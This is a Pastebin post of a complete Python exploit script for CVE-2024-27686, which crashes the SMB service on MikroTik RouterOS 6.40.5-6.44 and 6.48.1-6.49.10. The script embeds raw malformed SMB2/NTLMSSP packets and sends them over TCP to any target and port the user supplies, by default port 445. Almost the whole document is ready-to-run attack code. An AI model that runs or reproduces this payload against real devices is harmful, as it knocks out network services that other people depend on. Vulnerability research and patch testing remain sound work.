Advertisement
FlyFar

RouterOS 6.40.5 - 6.44 and 6.48.1 - 6.49.10 - Denial of Service - CVE-2024-27686

Apr 7th, 2024
1,036
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.79 KB | Cybersecurity | 0 0
  1. # Exploit Title: CVE-2024-27686: RouterOS-SMB-DOS
  2. # Google Dork: N/A
  3. # Date: 03/04/2024
  4. # Exploit Author: ice-wzl, Solstice Cyber Solutions
  5. # Vendor Homepage: https://mikrotik.com/
  6. # Software Link: https://mikrotik.com/download/archive
  7. # Version: RouterOS devices ranging from 6.40.5 - 6.44 and 6.48.1 - 6.49.10
  8. # Tested on: RouterOS 6.40.5 - 6.44 and 6.48.1 - 6.49.10
  9. # CVE : CVE-2024-27686
  10. #!/usr/bin/python3
  11. # Founded by ice-wzl in conjunction with Solstice Cyber Solutions
  12. import argparse
  13. import sys
  14. import socket
  15. # Define the packets
  16.  
  17. # the packet that causes crash 6.40.5 - 6.42.3
  18. fuzzed_packet_6 = b'\x00\x00\x00n\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x03\x00\xf1\x1f\x08\x00\x00\x00\x00\x00\x00\xe1\xbe\x82\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00G\xe5\x07\xf5\x07\xec\x01u\xe4Q]\x9e\xea\xedn\xa9\t\x00\x00\x00H\x00&\x00\\\x00\\\x001\x009\x002\x00.\x001\x006\x008\x00.\x001\x005\x00.\x007\x007\x00\\\x00p\x00u\x00b\x00'
  19.  
  20.  
  21. packet_0 = b'\x00\x00\x00\xea\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x05\x00\x01\x00\x00\x00\x7f\x00\x00\x00\xe8\xe4*\x99\xc9\xeb\xb6E\xa2A\xe9(\xee%\xe5\xdfp\x00\x00\x00\x04\x00\x00\x00\x02\x02\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00_\xf7m\xf2h*\x8f\x8ae\x0f8+T=Na8_\x0b@C\x82\xe7\x87\xc3qZ\xd7\xcf0M\x87\x00\x00\x02\x00\n\x00\x00\x00\x00\x00\x04\x00\x02\x00\x01\x00\x04\x00\x03\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x00\x00\x00\x00\x00\x03\x00\x02\x00\x01\x00\x00\x00\x05\x00\x1a\x00\x00\x00\x00\x001\x009\x002\x00.\x001\x006\x008\x00.\x001\x005\x00.\x008\x004\x00'
  22. packet_2_fuzzed = b'\x00\x00\x00\xa2\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00X\x00J\x00\x00\x00\x00\x00\x00\x00\x00\x00`H\x05\x06+\x06\x01\x05\x05\x02\xa0>0<\xa0\x0e21540373\xed\xba\xad211\x0c\x06\n+\x06\x01\x04\x01\x82294517887446830\x02\x02\n\xa2*\x04(NTLMSSP\x00\x01\x00\x00\x00\x15\x82\x08b\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x06\x01\x00\x00\x00\x00\x00\x0f'
  23.  
  24.  
  25. def open_connection(ip, port):
  26.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  27.     try:
  28.         s.connect((ip, port))
  29.         return s
  30.     except ConnectionRefusedError:
  31.         print(f"[!] Connection Refused on: {ip} {port}")
  32.         sys.exit(2)
  33.  
  34. def send_payload_high(s):
  35.     s.send(packet_0)
  36.     s.send(packet_2_fuzzed)
  37.     s.close()
  38.  
  39. def send_payload_low(s):
  40.     s.send(fuzzed_packet_6)
  41.     s.close()
  42.  
  43. def verify_input(user_inp):
  44.     try:
  45.         user_inp = int(user_inp)
  46.         if user_inp > 2 or user_inp < 1:
  47.             return 3
  48.         else:
  49.             return user_inp
  50.     except ValueError:
  51.         return 0
  52.  
  53. if __name__ == '__main__':
  54.  
  55.     parser = argparse.ArgumentParser(prog='SMB Crash',
  56.         description='Crashes Mikrotik RouterOS SMB Service 6.40.5 - 6.49.10',
  57.         epilog='Discovered by: ice-wzl')
  58.  
  59.     parser.add_argument("-t", "--target", action="store", dest="target")
  60.     parser.add_argument("-p", "--port", action="store", dest="port")
  61.  
  62.     args = parser.parse_args()
  63.    
  64.     if not args.target or not args.port:
  65.         print(f"[+] python3 {sys.argv[0]} --help")
  66.         sys.exit(1)
  67.  
  68.     print("[+] What version is the target:\n\t[1] 6.40.5 - 6.44\n\t[2] 6.48.1 - 6.49.10\nEnter 1 or 2:")
  69.     version_choice = input("--> ")
  70.  
  71.     if verify_input(version_choice) == 0:
  72.         print("Please enter a number...")
  73.         sys.exit(3)
  74.     elif verify_input(version_choice) == 3:
  75.         print("Please enter a number between 1 and 2")
  76.         sys.exit(4)
  77.  
  78.     if verify_input(version_choice) == 1:
  79.         if args.port:
  80.             get_connect = open_connection(args.target, int(args.port))
  81.             send_payload_low(get_connect)
  82.             print(f"[+] Sent DOS to {args.target} on {args.port}")
  83.         else:
  84.             get_connect = open_connection(args.target, 445)
  85.             send_payload_low(get_connect)
  86.             print(f"[+] Sent DOS to {args.target} on 445")  
  87.    
  88.     if verify_input(version_choice) == 2:
  89.         if args.port:
  90.             get_connect = open_connection(args.target, int(args.port))
  91.             send_payload_high(get_connect)
  92.             print(f"[+] Sent DOS to {args.target} on {args.port}")
  93.  
  94.         else:
  95.             get_connect = open_connection(args.target, 445)
  96.             send_payload_high(get_connect)
  97.             print(f"[+] Sent DOS to {args.target} on 445")
  98.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement